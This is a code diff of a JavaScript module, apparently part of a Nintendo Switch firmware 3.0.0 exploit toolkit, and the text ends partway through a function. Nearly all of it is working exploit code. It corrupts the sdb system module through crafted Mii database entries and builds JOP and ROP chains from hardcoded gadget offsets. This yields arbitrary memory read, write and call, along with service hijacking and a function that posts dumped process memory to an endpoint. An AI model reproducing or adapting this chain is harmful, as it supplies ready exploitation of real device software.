{ - throw 'sdbcore.write1 not implemented'; -}; - -sdbcore.prototype.memcpyFromBrowser = function(dst, src, size) { - for(var i = 0; i < size; i += 8) { - var s = utils.add2(src, i); - //utils.log('[Bro] Reading ' + i); - var v = [src[i >>> 2], src[(i >>> 2) + 1]]; - //utils.log('[SDB] Writing ' + utils.paddr(v) + ' to ' + i); - this.write82(v, utils.add2(dst, i)); - } -}; - -sdbcore.prototype.memcpyToBrowser = function(dst, src, size) { - var sub = []; - for(var i = 0; i < size; i += 4) { - //utils.log('[SDB] Reading ' + i); - var v = this.read4(utils.add2(src, i)); - //utils.log('[Bro] Writing ' + v.toString(16) + ' to ' + i); - dst[i >> 2] = v; - } -}; - -sdbcore.prototype.malloc = function(size) { - //return this.slowCall(this.offsets['malloc'], [0, size]); -}; - -sdbcore.prototype.free = function(addr) { - //this.slowCall(this.offsets['free'], [0, addr]); -}; - -sdbcore.prototype.setup_ro_hax = function() { - var sdbIpcBuf = utils.add2(this.sdb_base, 0x150000); - - var sdb = this; - var sc = this.sc; - - function waitHandles(handles) { - for(var i = 0; i < handles.length; ++i) - sdb.write8([handles[i], 0], utils.add2(sdbIpcBuf, 4 + i * 4)); - var ret = sdb.svc(0x18, [sdbIpcBuf, utils.add2(sdbIpcBuf, 4), handles.length, 0])[0]; - var hndI = sdb.read4(sdbIpcBuf); - return [ret, hndI]; - } - - function acceptSession(handle) { - sdb.svc(0x41, [sdbIpcBuf, handle]); - return sdb.read4(sdbIpcBuf); - } - - function readIncoming(handle) { - utils.log('Writing handle'); - sdb.write8([handle, 0], sdb.scratch); - utils.log('replyandreceive'); - var ret = sdb.svc(0x44, [sdb.scratch, sdbIpcBuf, 0x1000, sdb.scratch, 1, [0, 0], [0xffffffff, 0xffffffff]])[0]; - utils.log('Copying data'); - if(ret == 0xf601) - return null; - var data = new Uint32Array(0x100); - sdb.memcpyToBrowser(data, sdbIpcBuf, 7 << 2); - utils.log('Done?'); - return data; - } - - function respond(handle, data) { - utils.log('Attempting to respond'); - sdb.memcpyFromBrowser(sdbIpcBuf, data, data.length << 2); - utils.log('replyandreceive'); - utils.log(utils.paddr(sdb.svc(0x44, [sdb.scratch, sdbIpcBuf, 0x1000, sdb.scratch, 0, handle, [0, 0]]))); - utils.log('Done?'); - } - - this.sc.unregisterService('spl:'); - - utils.log('Opening SM handle'); - utils.log(utils.paddr(sdb.svc(0x1F, [sdbIpcBuf, utils.add2(sdb.sdb_base, 0x71807)]))); - var sdbSmHandle = sdb.read4(sdbIpcBuf); - utils.log('SM handle: ' + sdbSmHandle.toString(16)); - - var data = new Uint32Array([0x4, 0xc, 0, 0, 0x49434653, 0, 2, 0, 0x3a6c7073, 0, 200, 0x20]); - sdb.memcpyFromBrowser(sdbIpcBuf, data, data.length << 2); - utils.log(utils.paddr(sdb.svc(0x22, [sdbIpcBuf, 0x1000, sdbSmHandle]))); - var output = new Uint32Array(0x100 >> 2); - sdb.memcpyToBrowser(output, sdbIpcBuf, 4 << 2); - - for(var i = 0; i < 4; ++i) - utils.log(output[i].toString(16)); - - var portHandle = output[3]; - utils.log('Port handle: ' + portHandle.toString(16)); - var handles = [portHandle]; - - waitHandles(handles); - - var lgetServicePid = function(service) { - this.sc.killAutoHandle(); - var res = this.sc.ipcMsg(2).setType(3).datau64(0).sendTo(service).show(); - this.sc.svcCloseHandle(res.movedHandles[0]); - return res.pid[0]; - }; - - var service = 'ldr:ro'; - var pid = lgetServicePid(service); - utils.log(service + ' is PID 0x'+pid.toString(16)); - - this.sc.ipcMsg(1).data(pid).sendTo('pm:shell').show(); - - var tid = utils.parseAddr('0100000000000037'); - - var newPid = this.sc.ipcMsg(0).datau64(0, tid, 3).sendTo('pm:shell').show().data[1][0]; - - var interval = setInterval(function() { - var temp = waitHandles(handles); - switch(temp[0]) { - case 0: - utils.log('Handle ' + temp[1] + ' ready'); - var handle = handles[temp[1]]; - if(handle == portHandle) { - var pipe = acceptSession(portHandle); - utils.log('Accepted new pipe ' + pipe.toString(16)); - handles.push(pipe); - } else { - utils.log('Got incoming message on ' + handle.toString(16)); - var data = readIncoming(handle); - if(data == null) { - utils.log('Pipe closed. Removing.'); - sdb.svc(0x16, [handle]); - handles.splice(handles.indexOf(handle), 1); - clearInterval(interval); // We should be done now! - if (sdb.onready != null) - sdb.onready(); - break; - } - - if(data[6] == 11) { // GetDevUnitFlag - respond(handle, new Uint32Array([0, 0xa, 0, 0, 0x4f434653, 0, 0, 0, 0, 0])); - } else if(data[6] == 0) { - respond(handle, new Uint32Array([0, 0xa, 0, 0, 0x4f434653, 0, 0, 0, 1, 0])); - } else { - clearInterval(interval); - } - } - break; - case 0xea01: - break; - default: - utils.log('Unknown ret for wait: ' + temp[0].toString(16)); - break; - } - }, 100); -}; - -module.exports = sdbcore; +var utils = require('./utils'); +var svcMixin = require('./svc'); +var sploitMixin = require('./sploitMixin'); + +function c32to8(data) +{ + var len = data.length; + var ret = new Uint8Array(len * 4); + var offs = 0; + + for(i = 0; i < len; i++) + { + ret[offs++] = data[i] & 0xFF; + ret[offs++] = (data[i] >>> 8) & 0xFF; + ret[offs++] = (data[i] >>> 16) & 0xFF; + ret[offs++] = data[i] >>> 24; + } + + return ret; +} + +function c64to8(data) +{ + var len = data.length; + var ret = new Uint8Array(len * 8); + var offs = 0; + + for(i = 0; i < len; i++) + { + ret[offs++] = data[i][0] & 0xFF; + ret[offs++] = (data[i][0] >>> 8) & 0xFF; + ret[offs++] = (data[i][0] >>> 16) & 0xFF; + ret[offs++] = (data[i][0] >>> 24) & 0xFF; + ret[offs++] = data[i][1] & 0xFF; + ret[offs++] = (data[i][1] >>> 8) & 0xFF; + ret[offs++] = (data[i][1] >>> 16) & 0xFF; + ret[offs++] = (data[i][1] >>> 24) & 0xFF; + } + + return ret; +} + +function c8to32(data) +{ + var len = data.length / 4; + var ret = new Uint32Array(len); + var offs = 0; + + for(i = 0; i < len; i++) + { + ret[i] = data[offs++]; + ret[i] |= data[offs++] << 8; + ret[i] |= data[offs++] << 16; + ret[i] |= data[offs++] << 24; + } + + return ret; +} + +function _crc(data, len) +{ + var crc = 0; + + for(j = 0; j < len; j++) + { + var v = 0x80; + for(i = 0; i < 8; i++) + { + var xorf = crc & 0x8000; + crc = (crc << 1) & 0xFFFF; + + if(data[j] & v) + crc = (crc + 1) & 0xFFFF; + if(xorf) + crc ^= 0x1021; + v >>= 1; + } + } + return crc; +} + +function writePdm(payload) +{ +// var data = payload.buffer; +// utils.hexdump("dat", data); + sc.ipcMsg(4).sendTo('pdm:ntfy').assertOk(); + // sc.ipcMsg(5).aDescriptor(data, data.byteLength, 0).sendTo('pdm:ntfy').assertOk(); + sc.ipcMsg(5).aDescriptor(payload, payload.length, 0).sendTo('pdm:ntfy').assertOk(); +} + +function getMiiAuthorId() +{ + return c32to8(sc.ipcMsg(90).sendTo('set:sys').assertOk().data); +} + +function crcMiiBuf(b, authorid) +{ + var ret = new Uint8Array(b.length + 4); + ret.set(b); + + var crc1 = _crc(ret, b.length + 2); + ret[b.length] = crc1 >> 8; + ret[b.length+1] = crc1 & 0xFF; + + var temp = new Uint8Array(authorid.length + ret.length); + temp.set(authorid); + temp.set(ret, authorid.length); + + var crc2 = _crc(temp, temp.length); + ret[b.length+2] = crc2 >> 8; + ret[b.length+3] = crc2 & 0xFF; + + return ret; +} + +function AddOrReplace(hnd, key, unm, authorid) +{ + var crcbuf = new Uint8Array(unm.length + key.length); + crcbuf.set(unm); + crcbuf.set(key, unm.length); + crcbuf = crcMiiBuf(crcbuf, authorid); + + var new_mii = new Uint8Array(crcbuf.length + 4); + new_mii.set(crcbuf); + + var new_mii_as_words = c8to32(new_mii); + + var ipc = sc.ipcMsg(13); + ipc.datau32.apply(ipc, new_mii_as_words); + ipc.sendTo(hnd).assertOk(); +} + +function Move(hnd, key, pos) +{ + var data = new Uint32Array(key.length / 4 + 1); + data.set(c8to32(key)); + data[data.length - 1] = pos; + var ipc = sc.ipcMsg(12); + ipc.datau32.apply(ipc, data); + ipc.sendTo(hnd).assertOk(); +} + +function Delete(hnd, key) +{ + var data = c8to32(key); + var ipc = sc.ipcMsg(14); + ipc.datau32.apply(ipc, data); + ipc.sendTo(hnd).assertOk(); +} + +function GetCount(hnd) +{ + ret = sc.ipcMsg(2).datau32(1).sendTo(hnd).assertOk().data[0]; + // utils.log("mii count is " + ret.toString()); + return ret; +} + +function GetDefault(hnd, offset) +{ + ret = sc.ipcMsg(7).datau32(offset).sendTo(hnd).assertOk(); + return ret.data; +} + +function GetLoadBase(hnd, authorid) +{ + var unm = new Uint8Array([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x97, 0x02, 0x00, 0x00, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]); + var key = c64to8([[0xcafe, 0], [0xcafe0080, 0]]); + + AddOrReplace(hnd, key, unm, authorid); + + var data = GetDefault(hnd, (0x010b4b20 + 0xC + 0x44 * (GetCount(hnd) - 1) - 0x01079438) / 4); + + Delete(hnd, key); + + return utils.add2([data[5], data[6]], -0x9c540); +} + +function Wipe(hnd) +{ + var buf = new Uint8Array(100*0x44); + var count = sc.ipcMsg(9).data(1).bDescriptor(buf, buf.length, 0).sendTo(hnd).assertOk().data[0]; + + if(!count) + return; + + utils.log("mii count to delete " + count.toString()); + + var key = new Uint8Array(16); + + for(mii = 0; mii < count; mii++) + { + for(j = 0; j < 16; j++) + key[j] = buf[j + 48 + mii * 0x44]; + Delete(hnd, key); + } +} + + +function getServicePid(service) +{ + var res = sc.ipcMsg(2).setType(3).datau64(0).sendTo(service).assertOk(); + sc.svcCloseHandle(res.movedHandles[0]); + return res.pid[0]; +} + +function checkMiiCode(code) +{ + var checker = [0,1,2,3,4,5,6,7,8,16,17,18,19,20,21,22,23,24,32,33,34,35,36,37,38,39,40,48,49,50,51,52,53,54,55,56,64,65,66,67,68,69,70,71,72,80,81,82,83,84,85,86,87,88,96,97,98,99,100,101,102,103,104,112,113,114,115,116,117,118,119,120,128,129,130,131,132,133,134,135,136]; + return checker.indexOf(code) >= 0; +} + +var sdbcore = function(sc, vers) { + if (!sdbcore.prototype.importedMixins) { + Object.keys(svcMixin).forEach((k) => { + sdbcore.prototype[k] = svcMixin[k]; + }); + + Object.keys(sploitMixin).forEach((k) => { + sdbcore.prototype[k] = sploitMixin[k]; + }); + + sdbcore.prototype.importedMixins = true; + } + + utils.log('Starting sdbcore...'); + this.sc = sc; + window.sc = sc; + this.initialized = false; + this.vers = vers; + this.offsets = this.get_offsets(); + if (this.offsets == null) { + utils.log('Unknown version: '+vers); + return; + } + this.svcs = this.offsets['svc_dic']; + + this.sploitMixinInit(); + + utils.log('Pwning sdb...'); + this.initialize(this.sc); + utils.log('Pwned sdb...'); +}; + +sdbcore.prototype.name = "sdb"; + +sdbcore.prototype.queryMem = function(addr, raw) { + if(arguments.length == 1) + raw = false; + + var meminfo = utils.add2(this.sdb_base, 0x40000); + var pageinfo = utils.add2(this.sdb_base, 0x40028); + + var memperms = ['NONE', 'R', 'W', 'RW', 'X', 'RX', 'WX', 'RWX']; + var memstates = ['NONE', '(1)', '(2)', 'CODE-STATIC', 'CODE', 'HEAP', 'SHARED-MEM-BLOCK', 'MODULE-CODE-STATIC', 'MODULE-CODE', 'STACK-MIRROR', 'THREAD-LOCAL-STORAGE', 'MEMORY_MIRROR', '(15)', 'RESERVED']; + this.svc(0x6, [meminfo, pageinfo, addr]); + + var ms = this.rw.read(utils.add2(meminfo, 0x10)); + ms = utils.paddr(ms); + /*if(!raw && ms[1] == 0 && ms[0] < memstates.length) + ms = memstates[ms[0]]; + else if(!raw) + ms = 'UNKNOWN'*/ + var mp = this.rw.read(utils.add2(meminfo, 0x18)); + if(!raw && mp[1] == 0 && mp[0] < memperms.length) + mp = memperms[mp[0]]; + + var data = [this.rw.read(meminfo), this.rw.read(utils.add2(meminfo, 8)), ms, mp, this.rw.read(pageinfo)]; + + return data; +}; + + +sdbcore.prototype.svc = function(id, registers, dump_regs) { + if (arguments.length == 2) + dump_regs = false; + if (!(id in this.svcs)) { + utils.log('Error: sdb does not contain svc 0x'+id.toString(16)); + return null; + } + return this.slowCall(this.svcs[id], registers, [], dump_regs); +}; + +sdbcore.prototype.resetModule = function() { + // wipe all miis + this.handle = sc.ipcMsg(0).data(0xA523B78F).sendTo('mii:e').assertOk().movedHandles[0]; + utils.log("mii handle is 0x" + this.handle.toString(16)); + utils.log("wipe miis ..."); + Wipe(this.handle); + + var resetcount = 0; + var sdbPid = getServicePid(this.handle); + var tid = utils.parseAddr('0100000000000039'); + + utils.log("reloading sdb, this might take a while ..."); + + while(1) + { + sc.svcCloseHandle(this.handle); + sc.killAutoHandle(); + + // restart sdb + sc.ipcMsg(1).data(sdbPid).sendTo('pm:shell').assertOk(); + sdbPid = this.sc.ipcMsg(0).datau64(0, tid, 3).sendTo('pm:shell').data[0]; + utils.log("new sdb pid: 0x" + sdbPid.toString(16)); + + this.handle = sc.ipcMsg(0).data(0xA523B78F).sendTo('mii:e').assertOk().movedHandles[0]; + + this.sdb_base = GetLoadBase(this.handle, this.authorid); + // utils.log("this.sdb_base at " + utils.paddr(this.sdb_base)); + + if(checkMiiCode(this.sdb_base[0] >>> 24) && checkMiiCode((this.sdb_base[0] >>> 16) & 0xFF) && this.sdb_base[1] > 0) + { + utils.log("sdb pid is 0x" + sdbPid.toString(16) + " this.sdb_base at " + utils.paddr(this.sdb_base)); + utils.log("** good base ***"); + break; + } + resetcount++; + } +}; + +function add64(buf, offs, data) +{ + buf[offs++] = data[0] & 0xFF; + buf[offs++] = (data[0] >>> 8) & 0xFF; + buf[offs++] = (data[0] >>> 16) & 0xFF; + buf[offs++] = (data[0] >>> 24) & 0xFF; + buf[offs++] = data[1] & 0xFF; + buf[offs++] = (data[1] >>> 8) & 0xFF; + buf[offs++] = (data[1] >>> 16) & 0xFF; + buf[offs++] = (data[1] >>> 24) & 0xFF; +} + +sdbcore.prototype.setupBuffers = function() { + this.scratch = utils.add2(this.sdb_base, 0x14ED00); + + this.pdm_base = utils.add2(this.sdb_base, 0x150ec0); + utils.log("this.pdm_base at " + utils.paddr(this.pdm_base)); + + var returnAddr = utils.add2(this.sdb_base, 0x2fc58); + + // rewrite pl:u cmd1 + var writeAddr = utils.add2(this.sdb_base, 0x99A98); + var writeValue = utils.add2(this.sdb_base, 0x017d80); // gadget 0 + + var buf = new Uint8Array(0x700); + + /// JOP chains + // notice how nicely are these values compacted + + // miihax arb.write + add64(buf, 0x0000, utils.add2(this.pdm_base, 0x0020)); // A + add64(buf, 0x0008, writeAddr); + add64(buf, 0x0010, utils.add2(this.sdb_base, 0x2d170)); // *B + add64(buf, 0x0018, utils.add2(this.sdb_base, 0x6740)); + add64(buf, 0x0020, utils.add2(this.pdm_base, 0x0010)); // *A; B + add64(buf, 0x0028, utils.add2(this.sdb_base, 0x7160)); // *D + add64(buf, 0x0030, utils.add2(this.sdb_base, 0x53430)); // *A + 0x10 + add64(buf, 0x0038, utils.add2(this.pdm_base, 0x0040)); // *A + 0x18; C + add64(buf, 0x0040, utils.add2(this.pdm_base, 0x0028)); // *C; D + add64(buf, 0x0048, utils.add2(this.pdm_base, 0x0060)); // *E; F + add64(buf, 0x0050, utils.add2(this.sdb_base, 0x2f090)); // *D + 0x28 + add64(buf, 0x0058, utils.add2(this.pdm_base, 0x0048)); // *C + 0x18; E + add64(buf, 0x0060, utils.add2(this.pdm_base, 0x0060)); // *F; G + add64(buf, 0x0068, utils.add2(this.sdb_base, 0x7160)); // *G + 0x08 + add64(buf, 0x0070, utils.add2(this.sdb_base, 0x7160)); // *B + 0x60 + add64(buf, 0x0078, utils.add2(this.pdm_base, 0x0080)); // *F + 0x18; H + add64(buf, 0x0080, utils.add2(this.pdm_base, 0x0098)); // *H; I + add64(buf, 0x0088, utils.add2(this.sdb_base, 0x2d5f8)); // *F + 0x28 + add64(buf, 0x0090, utils.add2(this.sdb_base, 0x47cc8)); // *F + 0x30 + add64(buf, 0x0098, utils.add2(this.sdb_base, 0x7218)); // *G + 0x38 + add64(buf, 0x00a0, returnAddr); // *I + 0x08 + add64(buf, 0x00a8, writeValue); // *I + 0x10 + // note: b0 - b8 used + add64(buf, 0x00c0, utils.add2(this.sdb_base, 0x2d5f8)); // *I + 0x28 + add64(buf, 0x00c8, utils.add2(this.sdb_base, 0x4b46c)); // *I + 0x30 + // pluhax arb.read and arb.write; both share 'first stage' + add64(buf, 0x00b0, utils.add2(this.pdm_base, 0x0c0)); // A + add64(buf, 0x00b8, utils.add2(this.pdm_base, 0x0d8)); // B + // note: c0 - c8 used + add64(buf, 0x00d0, utils.add2(this.sdb_base, 0x0026cc)); // *A + 16; gatget 4 + add64(buf, 0x00d8, utils.add2(this.pdm_base, 0x110)); // *B; C + add64(buf, 0x00e0, utils.add2(this.pdm_base, 0x148)); // *E; F + add64(buf, 0x00e8, utils.add2(this.pdm_base, 0x120)); // *E + 8; G + add64(buf, 0x00f0, utils.add2(this.sdb_base, 0x0033d0)); // *A + 48; gatget 3 + add64(buf, 0x00f8, utils.add2(this.sdb_base, 0x01349c)); // *B + 32; gatget 10 + add64(buf, 0x0100, utils.add2(this.pdm_base, 0x0e0)); // *D + 8; E + add64(buf, 0x0108, utils.add2(this.sdb_base, 0x025d08)); // *B + 48; gatget 6 + add64(buf, 0x0110, utils.add2(this.sdb_base, 0x04de9c)); // *C; gatget 5 + add64(buf, 0x0118, utils.add2(this.sdb_base, 0x014134)); // *C + 8; gatget 7 + add64(buf, 0x0120, utils.add2(this.pdm_base, 0x158)); // *G; H + add64(buf, 0x0128, utils.add2(this.sdb_base, 0x02d6c8)); // *C + 24; gatget 8 + add64(buf, 0x0130, utils.add2(this.pdm_base, 0x168)); // Z + add64(buf, 0x0138, utils.add2(this.pdm_base, 0x0f8)); // *B + 96; D + add64(buf, 0x0140, utils.add2(this.sdb_base, 0x00638c)); // *B + 104; gatget 11 + add64(buf, 0x0148, utils.add2(this.sdb_base, 0x04dbf8)); // *F; gatget 12 + add64(buf, 0x0150, utils.add2(this.sdb_base, 0x02de0c)); // *F + 8; gatget14w + add64(buf, 0x0158, utils.add2(this.sdb_base, 0x020C84)); // *G; returnW; *V + 40; returnR + add64(buf, 0x0160, utils.add2(this.sdb_base, 0x002850)); // *G + 8; gatget16w + add64(buf, 0x0168, utils.add2(this.pdm_base, 0x170)); // *Z; Y + add64(buf, 0x0170, utils.add2(this.pdm_base, 0x1a8)); // *X; W + add64(buf, 0x0178, utils.add2(this.pdm_base, 0x180)); // *X + 8; U + add64(buf, 0x0180, utils.add2(this.pdm_base, 0x1b8)); // *U; T + add64(buf, 0x0188, utils.add2(this.sdb_base, 0x0071e0)); // *F + 64; gatget15w + add64(buf, 0x0190, utils.add2(this.pdm_base, 0x130)); // *X + 32; V + add64(buf, 0x0198, utils.add2(this.sdb_base, 0x04dbf8)); // *Y + 40; gatget 15r + add64(buf, 0x01a0, utils.add2(this.sdb_base, 0x002850)); // *X + 48; gatget 16r + add64(buf, 0x01a8, utils.add2(this.sdb_base, 0x02dd5c)); // *W; gatget 14r + add64(buf, 0x01b0, utils.add2(this.pdm_base, 0x170)); // *Z + 72; X + add64(buf, 0x01b8, utils.add2(this.sdb_base, 0x035180)); // *T; gatget 17r + // pluhax leak SP + add64(buf, 0x01c0, utils.add2(this.pdm_base, 0x1c8)); // *C; D + add64(buf, 0x01c8, utils.add2(this.sdb_base, 0x035180)); // *D; gatget 10 + add64(buf, 0x01d0, utils.add2(this.sdb_base, 0x002850)); // *D + 8; gatget 9 + add64(buf, 0x01d8, utils.add2(this.sdb_base, 0x011b38)); // gatget 7 + add64(buf, 0x01e0, utils.add2(this.pdm_base, 0x0c0)); // shared with arb.* + add64(buf, 0x01e8, utils.add2(this.pdm_base, 0x1f0)); // A + add64(buf, 0x01f0, utils.add2(this.pdm_base, 0x228)); // *A; gatget 5 ptr + add64(buf, 0x01f8, utils.add2(this.pdm_base, 0x1f8)); // *A + 8; B + add64(buf, 0x0200, utils.add2(this.pdm_base, 0x1c0)); // *B + 8; C + add64(buf, 0x0208, utils.add2(this.pdm_base, 0x218)); // *C + 72; E + add64(buf, 0x0210, utils.add2(this.pdm_base, 0x130)); // *A + 32; return ptr; shared with arb.* + add64(buf, 0x0218, utils.add2(this.pdm_base, 0x1d8)); // *E; gatget 7 ptr + add64(buf, 0x0220, utils.add2(this.sdb_base, 0x02d8d4)); // *A + 48; gatget 6 + add64(buf, 0x0228, utils.add2(this.sdb_base, 0x04de98)); // gatget 5 + // almost filled + add64(buf, 0x0290, utils.add2(this.sdb_base, 0x04a3a8)); // *D + 200; gatget 8 + + //add64(buf, 0x02e0, 0); // *C + 288; leaked SP + + // pluhax arb.call + add64(buf, 0x0230, utils.add2(this.pdm_base, 0x0c0)); // shared with arb.* + add64(buf, 0x0238, utils.add2(this.pdm_base, 0x240)); // A + add64(buf, 0x0240, utils.add2(this.pdm_base, 0x268)); // *A; gatget 5 ptr + add64(buf, 0x0248, utils.add2(this.pdm_base, 0x258)); // *A + 8; B + add64(buf, 0x0250, utils.add2(this.pdm_base, 0x260)); // *B - 8; C + add64(buf, 0x0258, utils.add2(this.pdm_base, 0x260)); // pdmNext1 + 8; gatget 11 ptr ptr + add64(buf, 0x0260, utils.add2(this.pdm_base, 0x1b8)); // gatget 11 ptr; shared with arb.* + add64(buf, 0x0268, utils.add2(this.sdb_base, 0x014104)); // gatget 5 + add64(buf, 0x0270, utils.add2(this.pdm_base, 0x130)); // pdmNext1 + 32; return ptr; shared with arb.* + add64(buf, 0x0278, utils.add2(this.sdb_base, 0x01349c)); // *C + 24; gatget 6 + add64(buf, 0x0280, utils.add2(this.sdb_base, 0x02850)); // pdmNext1 + 48; gatget 10 + + //add64(buf, 0x02a0, utils.add2(this.sdb_base, 0x2fc68)); // *A + 96; callAddr + add64(buf, 0x02a8, utils.add2(this.sdb_base, 0x002c0)); // *A + 104; gatget 7 + + add64(buf, 0x02d0, utils.add2(this.sdb_base, 0x4de98)); // pdmNext0; gatget 9 + + //add64(buf, 0x02e8, 0); // storeAddr; returned X0 + //add64(buf, 0x02f0, 0); // storeAddr+8; returned X1 + + + add64(buf, 0x0300, [0x11223344, 0]); // testing value to read out + + utils.log("writePdm ..."); + writePdm(buf); // seems like it works reliably only once + + key = c64to8([this.pdm_base, [0xde000080, 0]]); + + var payload = new Uint8Array(48); + add64(payload, 24, this.sdb_base); // 32bit LSB is kinda limited, so is 32bit MSB + + AddOrReplace(this.handle, key, payload, this.authorid); + + utils.log("trigger ..."); + Move(this.handle, key, 100); + + utils.log("cleanup ..."); + sc.svcCloseHandle(this.handle); + sc.killAutoHandle(); + + // prepare + utils.log("entering pluhax ..."); + + // arb.read and arb.write + this.ipcGat1 = utils.add2(this.sdb_base, 0x00f194); + this.ipcGat2 = utils.add2(this.sdb_base, 0x03f8a8); + this.ipcGat9 = utils.add2(this.sdb_base, 0x0304c0); + this.ipcGat13r = utils.add2(this.sdb_base, 0x02d8d4); + this.ipcGat13w = utils.add2(this.sdb_base, 0x029b50); + this.pdmEntry = utils.add2(this.pdm_base, 0x00b0); // JOP chain; shared for arb.read and arb.write + this.pdmNext = utils.add2(this.pdm_base, 0x0128); // second stage JOP chain for arb.read; offset 8 (=0x130) + + // sp leak + this.pdmLeakE = utils.add2(this.pdm_base, 0x1e0); + + // arb.call + this.pdmCallE = utils.add2(this.pdm_base, 0x230); + + // shared for all calls (or ignored in some) + this.ipcData = new Uint32Array(24); + this.ipcData[15] = this.ipcGat1[0]; + this.ipcData[16] = this.ipcGat1[1]; + this.ipcData[17] = this.ipcGat9[0]; + this.ipcData[18] = this.ipcGat9[1]; + this.ipcData[19] = this.ipcGat2[0]; + this.ipcData[20] = this.ipcGat2[1]; + + // run + utils.log("trigger ..."); // return address: 0x020C84 + + // get SP + this.sdbPluSP = this.getSP(); + utils.log("pluSP at " + utils.paddr(this.sdbPluSP)); + + // arb.call - prepare stack (permanent; maybe check after some calls?) + this.write8(utils.add2(this.pdm_base, 0x2e8), utils.add2(this.sdbPluSP, 200)); // storeAddr (pdmNext0+24) + this.write8(utils.add2(this.sdb_base, 0x579a8), utils.add2(this.sdbPluSP, 216)); // ROP chain 0 + this.write8(utils.add2(this.sdb_base, 0x01d44), utils.add2(this.sdbPluSP, 248)); // ROP chain 1 + this.write8(utils.add2(this.sdb_base, 0x4e950), utils.add2(this.sdbPluSP, 296)); // ROP chain 2 + this.write8(utils.add2(this.sdb_base, 0x1a0b8), utils.add2(this.sdbPluSP, 488)); // ROP chain 3 + this.write8(utils.add2(this.sdb_base, 0x3ca1c), utils.add2(this.sdbPluSP, 776)); // gatget 8 + this.write8(utils.add2(this.pdm_base, 0x2d0), utils.add2(this.sdbPluSP, 456)); // pdmNext0 + this.write8(utils.add2(this.pdm_base, 0x250), utils.add2(this.sdbPluSP, 760)); // pdmNext1 +}; + +sdbcore.prototype.getSP = function() { + // there is an offset between returned value and actualy saved one + // i do not know if it is possible to get random addres that will make this fail + // if so, just use read4 on this.pdm_base + 0x2e0 and from result subtract 0x3A8 instead + + this.ipcData[5] = this.pdmLeakE[0]; + this.ipcData[6] = this.pdmLeakE[1]; + + var sp = [0,0]; + var ipc = sc.ipcMsg(1); + ipc.datau32.apply(ipc, this.ipcData); + sp[0] = ipc.sendTo('pl:u').cmdId; + sp[1] = this.read4(utils.add2(this.pdm_base, 0x2e0 + 4)); // 32bit MSB + + return utils.sub2(sp, 0x328); +}; + + +sdbcore.prototype.initialize = function(sc) { + if (this.initialized) { + utils.log('Already initialized...returning.'); + return; + } + + this.authorid = getMiiAuthorId(); + utils.log("Author ID: " + Array.apply([], this.authorid).join(",")); + + this.resetModule(); + this.setupBuffers(); + + // write / read test + var testAddr = utils.add2(this.pdm_base, 0x300); + + // write value + utils.log("... write"); + this.write8([0x29910BAF, 0x11223344], testAddr); + // read back + utils.log("... read"); + var retVal = this.read8(testAddr); + utils.log("read value: " + utils.paddr(retVal)); + + utils.log('... call'); + utils.log('call: ' + utils.paddr(this.slowCall(0x02868, [[0xF00D1234, 0x1122aabb]]))); + + if (this.vers == '3.0.0') { + utils.log('Setting up RO hax...'); + this.setup_ro_hax(); + } + + this.initialized = true; +}; + +sdbcore.prototype.get_offsets = function() { + var offset_dic = { + '3.0.0' : { + 'memcpy' : 0x3a5f8, + 'svc_dic' : { + 0x2 : 0x2fbf8, + 0x3 : 0x2fc00, + 0x4 : 0x2fc08, + 0x5 : 0x2fc10, + 0x6 : 0x2fc18, + 0x7 : 0x2fc30, + 0x8 : 0x2fc3c, + 0x9 : 0x2fc50, + 0xA : 0x2fc58, + 0xB : 0x2fc60, + 0xC : 0x2fc68, + 0x10 : 0x2fc80, + 0x12 : 0x2fc88, + 0x13 : 0x2fc90, + 0x14 : 0x2fc98, + 0x16 : 0x2fca0, + 0x18 : 0x2fca8, + 0x19 : 0x2fcc0, + 0x1A : 0x2fcc8, + 0x1B : 0x2fcd0, + 0x1C : 0x2fcd8, + 0x1D : 0x2fce0, + 0x1F : 0x2fce8, + 0x21 : 0x2fd00, + 0x22 : 0x2fd08, + 0x25 : 0x2fd10, + 0x26 : 0x2fd28, + 0x27 : 0x2fd30, + 0x28 : 0x2fd38, + 0x29 : 0x2fd40, + 0x2c : 0x2fd58, + 0x2d : 0x2fd60, + 0x40 : 0x2fd80, + 0x41 : 0x2fda0, + 0x43 : 0x2fdb8, + 0x44 : 0x2fdd0, + 0x50 : 0x2fd68 + } + } + }; + if (this.vers in offset_dic) { + return offset_dic[this.vers]; + } + return null; +}; + +sdbcore.prototype.memdump = function(start, totalSize, name) { + var end = utils.add2(start, totalSize); + if (arguments.length == 2) { + name = 'memdumps_sdb/sdb - '+utils.paddr(start) + ' - ' + utils.paddr(end) + '.bin'; + } + + var buf = new Uint32Array(8 * 1024 * 1024 / 4); + var addr = sc.read8(sc.getAddr(buf), 4); + + utils.log('Dumping memory to '+name+'!'); + for(var idx = 0; idx < totalSize; idx += 0x700000) { + size = totalSize - idx; + size = size > 0x700000 ? 0x700000 : size; + this.sc.gc(); + var obj = new sdbown(buf); + var base = this.leakPrev(8); + var sdbbuf = utils.add2(base, 0x100000); + + this.slowCall(this.offsets['memcpy'], [sdbbuf, start, size]); + obj.svc.leak(); + + this.sc.memview(utils.add2(addr, 0x100000), size, function(ab) { + var view = new Uint8Array(ab); + var xhr = new XMLHttpRequest(); + xhr.open('POST', '/filedump', false); + xhr.setRequestHeader('Content-Type', 'application/octet-stream'); + xhr.setRequestHeader('Content-Disposition', name); + xhr.send(view); + }); + } + this.sc.gc(); + utils.log('Dumped memory succesfully!'); +}; + +sdbcore.prototype.slowCall = function(funcptr, args, fargs, dump_regs) { + if(typeof(funcptr) == 'number') { + funcptr = utils.add2(this.sdb_base, funcptr); + } + switch(arguments.length) { + case 1: + args = []; + case 2: + fargs = []; + case 3: + dump_regs = false; + } + + for (var i = 0; i < args.length; i++) { + if (typeof(args[i]) == 'number') { + args[i] = [args[i], 0]; + } + } + + var scratchOff = 0; + + // Write registers for native code. + if(args.length > 0) { + for(var i = 0; i < 8 && i < args.length; i++) { + if(ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) { + var size = args[i].byteLength; + var saddr = utils.add2(this.scratch, scratchOff); + this.memcpyFromBrowser(saddr, sc.getArrayBufferAddr(args[i]), size); + this.write8(saddr, utils.add2(this.sdbPluSP, 128 + 8 * i)); + scratchOff += size; + if(scratchOff & 0x7) + scratchOff = (scratchOff & 0xFFFFFFF8) + 8; + } else + this.write8(args[i], 